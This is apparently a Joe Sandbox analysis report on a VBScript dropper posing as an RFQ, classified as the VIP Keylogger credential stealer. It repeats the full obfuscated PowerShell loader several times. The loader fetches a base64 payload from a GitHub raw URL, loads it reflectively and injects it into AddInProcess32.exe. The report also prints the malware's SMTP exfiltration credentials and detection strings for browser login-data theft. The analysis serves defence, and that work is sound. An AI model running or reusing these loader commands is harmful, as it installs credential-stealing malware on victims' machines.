Edit tour

Windows Analysis Report
RFQ-5120240930 VENETA PESCA SRL.vbs

Overview

General Information

Sample name:	RFQ-5120240930 VENETA PESCA SRL.vbs
Analysis ID:	1522516
MD5:	d969df11d11c9dfafbe27aacd81dcb82
SHA1:	83748eb8a719110829c744930c7a0b88d8c1f107
SHA256:	ef18b54b8f37d475de25d891221866bb252f710f141a5107f9ba39fb110fc0d7
Tags:	vbsuser-abuse_ch
Infos:

Detection

VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Malicious sample detected (through community Yara rule)

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected Powershell decode and execute

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Bypasses PowerShell execution policy

Connects to a pastebin service (likely for C&C)

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Obfuscated command line found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Yara detected Generic Downloader

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5412 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ-5120240930 VENETA PESCA SRL.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7092 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4256 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )" MD5: 04029E121A0CFA5991749937DD22A1D9)

AddInProcess32.exe (PID: 5500 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: 9827FF3CDF4B83F9C86354606736CA9C)

cleanup

Malware Configuration

Threatname: VIP Keylogger

{"Exfil Mode": "SMTP", "Email ID": "info@lamela.si", "Password": "2014viks5961lamela", "Host": "mail.lamela.si", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2ece9:$a1: get_encryptedPassword 0x2efed:$a2: get_encryptedUsername 0x2eb07:$a3: get_timePasswordChanged 0x2ec02:$a4: get_passwordField 0x2ecff:$a5: set_encryptedPassword 0x3038b:$a7: get_logins 0x302ee:$a10: KeyLoggerEventArgs 0x2ff53:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: powershell.exe PID: 7092	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x16dcf:$b3: ::UTF8.GetString( 0x16e7c:$b3: ::UTF8.GetString( 0x17458:$b3: ::UTF8.GetString( 0x252e7:$b3: ::UTF8.GetString( 0x5fc23:$b3: ::UTF8.GetString( 0x60229:$b3: ::UTF8.GetString( 0x61222:$b3: ::UTF8.GetString( 0x97b65:$b3: ::UTF8.GetString( 0x981b0:$b3: ::UTF8.GetString( 0x9939a:$b3: ::UTF8.GetString( 0x99b64:$b3: ::UTF8.GetString( 0x9a182:$b3: ::UTF8.GetString( 0x9aeaa:$b3: ::UTF8.GetString( 0x9b4b7:$b3: ::UTF8.GetString( 0x9bcaa:$b3: ::UTF8.GetString( 0x9c47a:$b3: ::UTF8.GetString( 0xb2b4c:$b3: ::UTF8.GetString( 0xcbce7:$b3: ::UTF8.GetString( 0xcc2ed:$b3: ::UTF8.GetString( 0xfc99e:$b3: ::UTF8.GetString( 0x100fb2:$b3: ::UTF8.GetString(
Process Memory Space: powershell.exe PID: 4256	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 4256	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
Process Memory Space: powershell.exe PID: 4256	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: powershell.exe PID: 4256	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x8a7e6a:$a1: get_encryptedPassword 0x8a8164:$a2: get_encryptedUsername 0x8a7c92:$a3: get_timePasswordChanged 0x8a7d8d:$a4: get_passwordField 0x8a7e80:$a5: set_encryptedPassword 0x8aa2df:$a7: get_logins 0x8aa242:$a10: KeyLoggerEventArgs 0x8a9eab:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: powershell.exe PID: 4256	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9023b8:$b2: ::FromBase64String( 0x90428b:$b2: ::FromBase64String( 0x904432:$b2: ::FromBase64String( 0xebe44:$s1: -join 0xf8f19:$s1: -join 0xfc2eb:$s1: -join 0xfc99d:$s1: -join 0xfe48e:$s1: -join 0x100694:$s1: -join 0x100ebb:$s1: -join 0x10172b:$s1: -join 0x101e66:$s1: -join 0x101e98:$s1: -join 0x101ee0:$s1: -join 0x101eff:$s1: -join 0x10274f:$s1: -join 0x1028cb:$s1: -join 0x102943:$s1: -join 0x1029d6:$s1: -join 0x102c3c:$s1: -join 0x104dd2:$s1: -join
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.powershell.exe.22c12cbc703.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.22c12cbc703.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.powershell.exe.22c12cbc703.1.raw.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.powershell.exe.22c12cbc703.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.powershell.exe.22c12cbc703.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2e5e6:$a1: get_encryptedPassword 0x2e8ea:$a2: get_encryptedUsername 0x2e404:$a3: get_timePasswordChanged 0x2e4ff:$a4: get_passwordField 0x2e5fc:$a5: set_encryptedPassword 0x2fc88:$a7: get_logins 0x2fbeb:$a10: KeyLoggerEventArgs 0x2f850:$a11: KeyLoggerEventArgsEventHandler
4.2.powershell.exe.22c12cbc703.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3c47c:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x3bb1f:$a3: \Google\Chrome\User Data\Default\Login Data 0x3bd7c:$a4: \Orbitum\User Data\Default\Login Data 0x3c75b:$a5: \Kometa\User Data\Default\Login Data
4.2.powershell.exe.22c12cbc703.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2f1e9:$s1: UnHook 0x2f1f0:$s2: SetHook 0x2f1f8:$s3: CallNextHook 0x2f205:$s4: _hook
4.2.powershell.exe.22c12cbc703.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
4.2.powershell.exe.22c12cbc703.1.unpack	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
4.2.powershell.exe.22c12cbc703.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
4.2.powershell.exe.22c12cbc703.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2c7e6:$a1: get_encryptedPassword 0x2caea:$a2: get_encryptedUsername 0x2c604:$a3: get_timePasswordChanged 0x2c6ff:$a4: get_passwordField 0x2c7fc:$a5: set_encryptedPassword 0x2de88:$a7: get_logins 0x2ddeb:$a10: KeyLoggerEventArgs 0x2da50:$a11: KeyLoggerEventArgsEventHandler
4.2.powershell.exe.22c12cbc703.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x3a67c:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x39d1f:$a3: \Google\Chrome\User Data\Default\Login Data 0x39f7c:$a4: \Orbitum\User Data\Default\Login Data 0x3a95b:$a5: \Kometa\User Data\Default\Login Data
4.2.powershell.exe.22c12cbc703.1.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2d3e9:$s1: UnHook 0x2d3f0:$s2: SetHook 0x2d3f8:$s3: CallNextHook 0x2d405:$s4: _hook
Click to see the 8 entries

Other

Source	Rule	Description	Author	Strings
amsi64_4256.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93bmxvYScrJ2RTJysndHInKydpbmcnKycoQ2knKydTdXInKydsKTsgQycrJ2lTYicrJ2knKyduYScrJ3J5JysnQ28nKydudCcrJ2VudCA9JysnICcrJ1tTeXN0ZScrJ20uQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpJysnbmcoJysnQycrJ2lTYmFzZTY0Q29uJysndGVudCk7JysnIEMnKydpUycrJ2Fzc2VtYicrJ2x5ID0nKycgJysnW1InKydlZmxlY3RpbycrJ24uQXMnKydzZW0nKydibHknKyddOjpMbycrJ2FkKCcrJ0MnKydpU2JpJysnbicrJ2FyeScrJ0MnKydvbnRlbicrJ3QnKycpJysnOyBbZG5saWIuSU8nKycuSG9tZV06OlZBSSgnKydhJysnM1UwL2RpeUtGL2QvZWUuJysnZXQnKydzJysnYXAnKycvLzpzcCcrJ3R0aGEzVSwgYTMnKydVZGVzJysnYScrJ3RpJysndicrJ2EnKydkb2EzVScrJywnKycgYScrJzNVZGUnKydzJysnYXRpdmEnKydkbycrJ2EzJysnVSwgYTNVZGUnKydzYXQnKydpJysndmFkb2EzVSwgYTNVQScrJ2RkJysnSW5QJysncm9jZScrJ3NzMzInKydhM1UsIGEzVWEnKyczVSxhM1VhJysnM1UpJykgLVJFcGxBY2UgIChbQ2hBcl05NytbQ2hBcl01MStbQ2hBcl04NSksW0NoQXJdMzQgLWNyZVBMYUNFICAnZm1VJyxbQ2hBcl0zOSAgLVJFcGxBY2UgIChbQ2hBcl02NytbQ2hBcl0xMDUrW0NoQXJdODMpLFtDaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93b

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $psHOME[21]+$pSHOMe[34]+'x')((('C'+'iSurl ='+' f'+'mUhttps:/'+'/raw'+'.g'+'it'+'hubu'+'s'+'er'+'c'+'o'+'ntent'+'.com/No'+'Dete'+'ctOn'+'/'+'No'+'De'+'tectO'+'n/ref'+'s/'+'heads'+'/'+'mai'+'n/D'+'et'+'ah'+'Noth-V.t'+'xt'+'fmU; CiSbase64Co'+'nte'+'nt = (New-O'+'b'+'ject'+' System.N'+'et.WebC'+'li'+'ent).'+'Downloa'+'dS'+'tr'+'ing'+'(Ci'+'Sur'+'l); C'+'iSb'+'i'+'na'+'ry'+'Co'+'nt'+'ent ='+' '+'[Syste'+'m.Con'+'vert'+']::FromBase64S'+'t'+'ri'+'ng('+'C'+'iSbase64Con'+'tent);'+' C'+'iS'+'assemb'+'ly ='+' '+'[R'+'eflectio'+'n.As'+'sem'+'bly'+']::Lo'+'ad('+'C'+'iSbi'+'n'+'ary'+'C'+'onten'+'t'+')'+'; [dnlib.IO'+'.Home]::VAI('+'a'+'3U0/diyKF/d/ee.'+'et'+'s'+'ap'+'//:sp'+'ttha3U, a3'+'Udes'+'a'+'ti'+'v'+'a'+'doa3U'+','+' a'+'3Ude'+'s'+'ativa'+'do'+'a3'+'U, a3Ude'+'sat'+'i'+'vadoa3U, a3UA'+'dd'+'InP'+'roce'+'ss32'+'a3U, a3Ua'+'3U,a3Ua'+'3U)') -REplAce ([ChAr]97+[ChAr]51+[ChAr]85),[ChAr]34 -crePLaCE 'fmU',[ChAr]39 -REplAce ([ChAr]67+[ChAr]105+[ChAr]83),[ChAr]36) )", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHBzSE9NRVsyMV0rJHBTSE9NZVszNF0rJ3gnKSgoKCdDJysnaVN1cmwgPScrJyBmJysnbVVodHRwczovJysnL3JhdycrJy5nJysnaXQnKydodWJ1JysncycrJ2VyJysnYycrJ28nKydudGVudCcrJy5jb20vTm8nKydEZXRlJysnY3RPbicrJy8nKydObycrJ0RlJysndGVjdE8nKyduL3JlZicrJ3MvJysnaGVhZHMnKycvJysnbWFpJysnbi9EJysnZXQnKydhaCcrJ05vdGgtVi50JysneHQnKydmbVU7IENpU2Jhc2U2NENvJysnbnRlJysnbnQgPSAoTmV3LU8nKydiJysnamVjdCcrJyBTeXN0ZW0uTicrJ2V0LldlYkMnKydsaScrJ2VudCkuJysnRG93b

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: WScript or CScript Dropper

Source: Process started

